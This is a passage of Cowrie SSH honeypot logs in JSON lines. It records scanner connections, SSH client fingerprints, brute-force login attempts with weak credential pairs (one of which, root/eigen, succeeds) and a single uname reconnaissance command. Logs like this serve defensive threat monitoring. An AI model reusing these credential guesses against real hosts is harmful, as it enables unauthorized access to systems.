nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:56:09.378983Z","src_ip":"193.32.162.145","session":"f1c2e59735a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"test","message":"login attempt [solana/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:56:09.892513Z","src_ip":"193.32.162.145","session":"f1c2e59735a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:56:11.061305Z","src_ip":"193.32.162.145","session":"f1c2e59735a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.99.195.230","src_port":34692,"dst_ip":"159.203.135.109","dst_port":22,"session":"31920903a97b","protocol":"ssh","message":"New connection: 92.99.195.230:34692 (159.203.135.109:22) [session: 31920903a97b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:56:20.058053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:56:20.061977Z","src_ip":"92.99.195.230","session":"31920903a97b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:56:20.257067Z","src_ip":"92.99.195.230","session":"31920903a97b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dp","password":"dp123!","message":"login attempt [dp/dp123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:56:21.085043Z","src_ip":"92.99.195.230","session":"31920903a97b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:56:22.282939Z","src_ip":"92.99.195.230","session":"31920903a97b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":41784,"dst_ip":"159.203.135.109","dst_port":22,"session":"f872d0ae92f9","protocol":"ssh","message":"New connection: 2.57.122.96:41784 (159.203.135.109:22) [session: f872d0ae92f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:56:55.479146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:56:55.482611Z","src_ip":"2.57.122.96","session":"f872d0ae92f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:56:55.585768Z","src_ip":"2.57.122.96","session":"f872d0ae92f9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"eigen","message":"login attempt [root/eigen] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:56:55.979713Z","src_ip":"2.57.122.96","session":"f872d0ae92f9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:56:56.217283Z","src_ip":"2.57.122.96","session":"f872d0ae92f9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:56:56.220576Z","src_ip":"2.57.122.96","session":"f872d0ae92f9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:56:56.328826Z","src_ip":"2.57.122.96","session":"f872d0ae92f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:56:56.332027Z","src_ip":"2.57.122.96","session":"f872d0ae92f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":35198,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1ad80742417","protocol":"ssh","message":"New connection: 27.111.32.174:35198 (159.203.135.109:22) [session: d1ad80742417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:57:07.488825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:57:07.493191Z","src_ip":"27.111.32.174","session":"d1ad80742417","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:57:07.741360Z","src_ip":"27.111.32.174","session":"d1ad80742417","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"ai123","message":"login attempt [ai/ai123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:57:08.768696Z","src_ip":"27.111.32.174","session":"d1ad80742417","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:57:10.019600Z","src_ip":"27.111.32.174","session":"d1ad80742417","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":40140,"dst_ip":"159.203.135.109","dst_port":22,"session":"a03d5d794f65","protocol":"ssh","message":"New connection: 193.32.162.145:40140 (159.203.135.109:22) [session: a03d5d794f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:58:21.548334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:58:21.552108Z","src_ip":"193.32.162.145","session":"a03d5d794f65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":44152,"dst_ip":"159.203.135.109","dst_port":22,"session":"8852940cd5d3","protocol":"ssh","message":"New connection: 195.178.110.218:44152 (159.203.135.109:22) [session: 8852940cd5d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:58:21.575982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:58:21.578952Z","src_ip":"195.178.110.218","session":"8852940cd5d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:58:21.655638Z","src_ip":"193.32.162.145","session":"a03d5d794f65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:58:21.661136Z","src_ip":"195.178.110.218","session":"8852940cd5d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:58:21.920458Z","src_ip":"195.178.110.218","session":"8852940cd5d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"test","message":"login attempt [sol/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:58:22.035751Z","src_ip":"193.32.162.145","session":"a03d5d794f65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:58:23.003461Z","src_ip":"195.178.110.218","session":"8852940cd5d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:58:23.141294Z","src_ip":"193.32.162.145","session":"a03d5d794f65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.99.195.230","src_port":52156,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bcabd0cfbd5","protocol":"ssh","message":"New connection: 92.99.195.230:52156 (159.203.135.109:22) [session: 7bcabd0cfbd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:58:28.909486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:58:28.913949Z","src_ip":"92.99.195.230","session":"7bcabd0cfbd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:58:29.114418Z","src_ip":"92.99.195.230","session":"7bcabd0cfbd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rms","password":"rms123","message":"login attempt [rms/rms123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:58:29.949860Z","src_ip":"92.99.195.230","session":"7bcabd0cfbd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:58:31.152170Z","src_ip":"92.99.195.230","session":"7bcabd0cfbd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.135","src_port":58000,"dst_ip":"10.17.0.5","dst_port":22,"session":"987142930a4e","protocol":"ssh","message":"New connection: 64.89.160.135:58000 (10.17.0.5:22) [session: 987142930a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:58:49.401710Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:58:49.495521Z","src_ip":"64.89.160.135","session":"987142930a4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":37508,"dst_ip":"159.203.135.109","dst_port":22,"session":"30abcf8ffc11","protocol":"ssh","message":"New connection: 27.111.32.174:37508 (159.203.135.109:22) [session: 30abcf8ffc11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:59:04.696674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:59:04.700955Z","src_ip":"27.111.32.174","session":"30abcf8ffc11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:59:04.950598Z","src_ip":"27.111.32.174","session":"30abcf8ffc11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vps","password":"vpsuser","message":"login attempt [vps/vpsuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:59:05.981524Z","src_ip":"27.111.32.174","session":"30abcf8ffc11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:59:07.234174Z","src_ip":"27.111.32.174","session":"30abcf8ffc11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":41826,"dst_ip":"159.203.135.109","dst_port":22,"session":"727c190a473e","protocol":"ssh","message":"New connection: 2.57.122.96:41826 (159.203.135.109:22) [session: 727c190a473e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:59:42.510557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:59:42.515243Z","src_ip":"2.57.122.96","session":"727c190a473e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-c